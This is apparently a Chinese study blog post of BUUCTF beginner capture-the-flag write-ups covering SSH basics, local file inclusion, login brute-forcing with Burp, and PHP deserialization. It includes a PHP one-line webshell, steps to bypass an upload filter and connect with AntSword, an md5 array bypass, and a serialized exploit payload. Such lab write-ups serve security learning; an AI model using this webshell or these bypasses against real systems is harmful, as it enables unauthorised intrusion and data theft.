BUUCTF学习笔记

Basic:

Linux Labs

概念解释:
  1. LAMP 是搭建Web应用时最常用的环境,LAMP 分别表示 Linux、Apache、MySQL 以及 PHP,即在Linux 系统中安装 Apache、MySQL 以及 PHP。

Linux相关命令:

SSH指令主要用于远程登录和执行命令(应用场景:管理员远程管理服务器、管理员远程登录故障主机排查问题、远程传输文件)。

常见用法:

  1. 远程登录

ssh [用户名]@[IP地址]
 #eg:ssh user@example.com
  1. 指定端口

 ssh -p [端口号] [用户名]@[IP地址]
  1. 公钥认证登录

 ssh-keygen
 ssh-copy-id [用户名]@[IP地址]

使用ssh-keygen生成密钥对,并使用ssh-copy-id命令将公钥复制到目标主机上,实现公钥认证登录,避免每次登录都输入密码。

由于传统密码存在暴力破解的问题,因此一般使用密钥登录远程服务器,在执行ssh-keygen后需要输入密钥锁码,在登录远程服务器时将需要私钥和密钥锁码才能登录,因此加上了双重保护。

私钥所在路径:/root/.ssh/id_rsa

公钥所在路径:/root/.ssh/id_rsa.pub (.ssh是隐藏目录)

  1. 远程执行命令

 ssh [用户名]@[IP地址] [命令]
 #eg:ssh user@example.com "ls -l"
  1. 文件传输

 scp [本地文件路径] [用户名]@[IP地址]:[目标路径]
 #eg:scp file.txt user@example.com:/home/user/

BUU LFI COURSE 1

题目靶机页面

解题过程  

 根据PHP代码提示,直接构造url后加?file=/flag即可获得flag,/flag指的是根目录下的flag文件。

BUU BRUTE 1

题目靶机页面

解题过程 

用户名和密码随机输入11,抓包查看返回内容为用户名错误,则先从用户名入手。 

只设置username为爆破值,然后添加爆破字典,由于网站限制访问频率,因此需要设置并发参数,将进程设为1,间隔设为100ms。

 爆破发现username为admin时返回以下内容。

此时开始设置爆破密码,固定username为admin,Payloads设置为以下内容。

注意需要将Number formant的Decimal切换为Hex后再切换回Decimal才能让Payload count的数量正常显示,同样设置并发数量进行爆破,最后获得密码6490,以admin作为用户名,6490作为密码进行登录获取flag。 

BUU SQL COURSE 1

Upload-Labs-Linux

Pass-01
题目靶机页面

 根据题目提示,该题为绕托js验证。

解题过程

一句话木马:

<?php @eval(system($_POST["cmd"]));?>
// @符号   表示后面的语句即使执行错误,也不报错。
// eval()  把括号内的字符串全部当作php代码来执行
// system  执行外部程序,并且显示输出
// $_POST  用于收集来自 method="post" 的表单中的值
// 所以,这句代码的意思就是用php的方式收集 cmd 的值,执行cmd并输出
方法一:

该页面下按F12后再按F1,将调试程序中的停用JavaScript打开,保持页面上传一句话木马

上传成功显示

在此之前随便上传一个图片后打开F12可以获取图片上传后的地址,这是后面调用木马的关键。

 不过一般做题默认都在主机ip/upload下。

 将以上url修改为以下url访问上传的一句话木马111.php

然后利用蚁剑打开连接修改后的url,成功连接。

方法二: 

将一句话木马文件设置成图片格式后上传,利用bp抓包拦截恢复filename的后缀为php后上传成功。

 

BUU CODE REVIEW 1

题型:

        PHP反序列化代码

题目靶机页面:
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
代码分析:
highlight_file(__FILE__);

该语句用于在页面上显示当前文件的源代码。

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

这段代码定义了一个名为BUU的类,该类包含了两个公共属性$correct$input,以及一个析构函数__destruct()。在析构函数中,首先将$correct赋值为通过base64_encode(uniqid())生成的唯一标识。接着,如果$correct等于$input,就读取/flag文件的内容并输出。

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

在代码的主体部分,通过if($_GET['pleaseget'] === '1')检查是否有名为pleaseget的GET参数,并通过if($_POST['pleasepost'] === '2')检查是否有名为pleasepost的POST参数。 如果上述条件都满足,接下来会比较md5($_POST['md51'])和md5($_POST['md52'])的结果,并确保$_POST['md51']不等于$_POST['md52']。如果条件满足,将调用unserialize($_POST['obj'])来反序列化$_POST['obj']。

解题过程:

首先,需要传参的内容有:

GET:pleaseget=1

POST:pleasepost=2,md51=?,md52=?,obj=?

因此,解题的关键在于得到合理的md51、md52以及obj的值。

第一步:

        题目要求md51和md52实际值不同,但经过md5处理后值相同,因此可以利用数组进行绕过。

md51[] = 1 & md52[] = 2

原理: 原理是 md5 函数不能处理数组,导致函数返回Null。而Null是等于Null的,因此可以绕过。

第二步:

        构造BUU类,获取序列化结果,题目代码要求BUUinput要等于correct的值。

$obj->input = &$obj->correct;

综上,总构造代码为:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

$obj = new BUU;
$obj->input = &$obj->correct;
echo serialize($obj);

利用在线PHP代码运行网站获取序列化代码:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

Hackbar参数设置页面: 

成功获取flag。 

test_your_nc 

题目靶机页面:

 

 随便上传一个php文件发现提示了文件地址,并且后缀名被统一修改为了jpg。

 

 将hackbar中的url设置为一下形式,然后传post参数cmd=cat /flag,即可成功获取flag。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值